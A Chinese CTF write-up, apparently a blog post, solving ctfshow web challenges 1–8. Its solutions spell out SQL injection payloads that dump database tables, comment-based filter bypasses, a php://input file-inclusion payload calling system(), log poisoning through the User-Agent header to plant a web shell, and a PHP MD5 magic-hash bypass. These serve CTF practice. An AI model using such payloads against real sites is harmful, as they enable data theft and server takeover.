快捷目录

web1

web2

web3

web4

web5

web6

web7

web8

1.web签到题

打开网址后出现如下界面。



查看一下网站源码



将Y3Rmc2hvd3s1ZjkxNTc3Yy03MmRkLTRhYzItYTE1Yi1lOWRhMjk4MTQyNjl9解码即可得到flag

2.web2

打开网址如图。



首先用万能密码admin' or 1=1#测试一下。直接就进入了,可知存在sql注入。



判断列名数量

admin' or '1'='1' order by 1#

……

admin' or '1'='1' order by 3#(可以进入)

admin' or '1'='1' order by 4#(不可以进入)

由上可知可知有三列,接下来查找回显位置。

admin' or '1'='1' union select 1,2,3#



由上可知:回显位为2所在位置

爆库:admin' or 1=1 union select 1,database(),3#可知数据库名为web2



爆表:admin' or '1'='1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database();#可知表名为flag,user



爆字段:admin' or '1'='1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='flag'#可知字段名为flag



爆数据:admin' or '1'='1' union select 1,group_concat(flag),3 from flag#即可得到flag

3.web3

打开界面如图所示



看到include()猜测可能存在文件包含。

抓包并尝试利用php伪协议php://input,在请求体中放入php代码

点击查看代码
<?php system("ls")?>

然后使用POST方法提交



可知存在ctf_go_go_go,访问一下试试。



将flag收入囊中。

4.web4

和web3的网页别无二致。尝试使用相同方法,发现无用。
试试访问日志文件在url后添加?url=/var/log/nginx/access.log,进行访问,如图所示。



访问日志,进行抓包,尝试通过user-Agent写马。



使用蚁剑进行连接,可以找到flag.txt文件。



双击打开即可获得flag

5.web5

网址打开如图所示,是一段源码。



对代码进行分析,首先通过GET方式传入参数v1和v2,用isset()函数判断是否已设置并且不为null,若true,则利用ctype_alpha()函数判断v1是否为纯字母,利用is_numeric()函数判断v2是否为数字或数字字符串,再用md5()函数判断v1和v2的MD5加密值是否相等,若相等,则返回flag。

综上所述,想要获得flag,需要满足三个条件:

(1)v1的值是纯字母;

(2)v2的值是数字或数字字符串;

(3)v1和v2的MD5加密值必须相等。(PHP在处理哈希字符串时,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。)

针对上述情况,我们构造的payload如下:?v1=EEIZDOI&v2=240610708



成功获取到flag

6.web6

打开后是个登陆页面,先用万能密码进行测试。



发现出现注入错误的提示



在密码处用万能密码进行测试,发现也是注入错误,尝试在密码框输入空格,出现了黑点,可能是将空格过滤了,尝试抓包观察。结果不出所料,果然是将空格给过滤了。



此时要做的就是替换空格,能够替换空格的方式有许多种,此处仅使用注释符进行演示。

从此刻开始的注入流程与web2的相似。

判断列数:

点击查看代码
1'/**/or/**/1=1/**/order/**/by/**/3#

判断回显位:

点击查看代码
1'/**/or/**/1=1/**/union/**/select/**/3#

爆库:

点击查看代码
1'/**/or/**/1=1/**/union/**/select/**/1,database(),3#



爆表:

点击查看代码
1'/**/or/**/1=1/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema=database()#



爆字段:

点击查看代码
1'/**/or/**/1=1/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name='flag'#



爆数据:

点击查看代码
1'/**/or/**/1=1/**/union/**/select/**/1,group_concat(flag),3/**/from/**/flag#

7.web7

打开后随便点击,发现有id用来传参进而改变页面内容,可能存在sql注入。



经过测试此处同样过滤了空格(测试方法见web6)。同样使用注释符进行绕过。

使用1 and 1=1(正常)和1 and 1=2(不正常)进行判断,存在数值型注入。



判断列数:

点击查看代码
?id=1/**/order/**/by/**/3#

判断回显位:

点击查看代码
?id=1/**/union/**/select/**/1,2,3#



爆库:

点击查看代码
?id=-1/**/union/**/select/**/1,database(),version()#

爆表:

点击查看代码
?id=-1/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema=database()



爆列名:

点击查看代码
?id=-1/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name="flag"

爆数据:

点击查看代码
?id=-1/**/union/**/select/**/1,group_concat(flag),3/**/from/**/flag

8.web8

页面与web7的一样,但是过滤了空格,and,union以及逗号,对其进行替换从而进行绕过即可。

过滤空格, 可以使用括号() 或者注释/**/ 绕过。

过滤and, 可以使用or替代。

过滤union, 可以用盲注替代联合注入。

过滤逗号, 可以使用特殊语法绕过, 比如:substr(database(),1,1) 可以用substr(database() from 1 for 1)来代替。

但手工进行注入就比较麻烦了,此时就显示出了脚本的重要性。这里我们使用网上给出的python脚本进行注入。

库名:web8



表名:flag,page,user



列名:flag



flag:ctfshow{ca4d3ee7-fa65-4118-8b64-01fa9dc1c380}

ctfshow-超详细通关教程-web(1~8)的更多相关文章

  1. ROS2的安装与使用(超详细图文教程)

    ROS2的安装与使用(超详细图文教程) 如果前面的虚拟机以及Ubuntu22.04镜像都安装好了,根据目录直接跳到ROS2的安装. 资料参考于:古月居 VMware虚拟机的安装 安装地址: 对于不了解 ...

  2. VMware虚拟机下安装CentOS7.0超详细图文教程

    1.本文说明: 官方的第一个文本档案.也就是0_README.txt,大概意思是这样(渣翻译,但是大概意思还是有的). CentOS-7.0-1406-x86_64-DVD.iso:这个镜像(DVD ...

  3. MySql5.6 Window超详细安装教程

    林炳文Evankaka原创作品.转载请注明出处http://blog.csdn.net/evankaka 目录 一.安装包准备二.开始安装三.验证安装四.客户端工具 一.安装包准备 1.下载MySql ...

  4. MySql5.6Window超详细安装教程(msi 格式的安装)

    转自:红黑联盟  http://www.2cto.com/database/201506/409821.html 一.安装包准备 1.下载MySql5.6 http://www.mysql.com/ ...

  5. 在Ubuntu下进行XMR Monero(门罗币)挖矿的超详细图文教程

    大家都知道,最近挖矿什么的非常流行,于是我也在网上看了一些大神写的教程,以及跟一些大神请教过如何挖矿,但是网上的教程都感觉写得不够详细,于是今天我这里整理一个教程,希望能够帮到想要挖矿的朋友. 首先, ...

  6. 超详细实战教程丨多场景解析如何迁移Rancher Server

    本文转自Rancher Labs 作者介绍 王海龙,Rancher中国社区技术经理,负责Rancher中国技术社区的维护和运营.拥有6年的云计算领域经验,经历了OpenStack到Kubernetes ...

  7. 【建议收藏】Redis超详细入门教程大杂烩

    写在前边 Redis入门的整合篇.本篇也算是把2021年redis留下来的坑填上去,重新整合了一翻,点击这里,回顾我的2020与2021~一名大二后台练习生 NoSQL NoSQL(NoSQL = N ...

  8. 最新MATLAB R2021b超详细安装教程(附完整安装文件)

    摘要:本文详细介绍Matlab R2021b的安装步骤,为方便安装这里提供了完整安装文件的百度网盘下载链接供大家使用.从文件下载到证书安装本文都给出了每个步骤的截图,按照图示进行即可轻松完成安装使用. ...

  9. 最新MATLAB R2020b超详细安装教程(附完整安装文件)

    摘要:本文详细介绍Matlab R2020b的安装步骤,为方便安装这里提供了完整安装文件的百度网盘下载链接供大家使用.从文件下载到证书安装本文都给出了每个步骤的截图,按照图示进行即可轻松完成安装使用. ...

  10. MATLAB R2019b超详细安装教程(附完整安装文件)

    摘要:本文详细介绍Matlab的安装步骤,为方便安装这里提供了完整安装文件的百度网盘下载链接供大家使用.从文件下载到证书安装本文都给出了每个步骤的截图,按照图示进行即可轻松完成安装使用.本文目录如首页 ...

随机推荐

  1. easyx的使用

    本操作集根据B站学习,借鉴: 视频链接:[C/C++/EasyX]学编程,做游戏,小白快速入门图形编程,零基础入门到精通,学习就是这么快乐_哔哩哔哩_bilibili 初始化时要进行的操作: 记得调用 ...

  2. maven报错:501 HTTPS Required

    maven报错:501 HTTPS Required 简单来说,如果报错中出现http://repo1.maven.org/maven2/的字样的话,那么大概率就是Maven仓库的设置里的地址有问题, ...

  3. 模型代码联动难? BizWorks来助力

    简介: 本文介绍了业务模型设计和实现保持一致的重要性以及实际落地可能遇到的问题,以及BizWorks如何设计并提供一种双向联动能力, 通过BizWorks Toolkit(IDE 插件) 来解决和优化 ...

  4. 从 RxJS 到 Flink:如何处理数据流?

    简介: 前端开发的本质是什么?响应式编程相对于 MVVM 或者 Redux 有什么优点?响应式编程的思想是否可以应用到后端开发中?本文以一个新闻网站为例,阐述在前端开发中如何使用响应式编程思想:再以计 ...

  5. Databricks 企业版 Spark&Delta Lake 引擎助力 Lakehouse 高效访问

    ​简介:本文介绍了Databricks企业版Delta Lake的性能优势,借助这些特性能够大幅提升Spark SQL的查询性能,加快Delta表的查询速度. 作者: 李锦桂(锦犀) 阿里云开源大数据 ...

  6. 【产品动态】一文详细解读智能数据构建产品Dataphin的“规划”功能

    ​简介: 数据中台是传统的数据仓库的一种升级, 是数据采集.建设.管理与使用的一整套体系,Dataphin是一个构建数据中台的强大工具, 核心优势是在数据的建设与管理上引入了阿里巴巴多年来数据中台建设 ...

  7. 深入解析 Dubbo 3.0 服务端暴露全流程

    ​简介: 随着云原生时代的到来,Dubbo 3.0 的一个很重要的目标就是全面拥抱云原生.正因如此,Dubbo 3.0 为了能够更好的适配云原生,将原来的接口级服务发现机制演进为应用级服务发现机制. ...

  8. [BlockChain] 三方互惠是公共区块链得以发展的基石, dApp数字通证的运转需要可持续性玩法

    ------------------------------- 公链 旷工    开发者/用户 ------------------------------- -------------------- ...

  9. 手把手教你如何构建 WPF 官方开源框架源代码

    从去年微软就将 WPF 开源了,差不多现在所有 WPF 的源代码都开源了.在学习框架的时候,我会做一些改动,期望能构建一个自己的版本进行测试.但是作为一个特别大的框架,想要构建跑起来可不是直接在 Vi ...

  10. 大数据面试SQL每日一题系列:最高峰同时在线主播人数。字节,快手等大厂高频面试题

    大数据面试SQL每日一题系列:最高峰同时在线主播人数.字节,快手等大厂高频面试题 之后会不定期更新每日一题sql系列. SQL面试题每日一题系列内容均来自于网络以及实际使用情况收集,如有雷同,纯属巧合 ...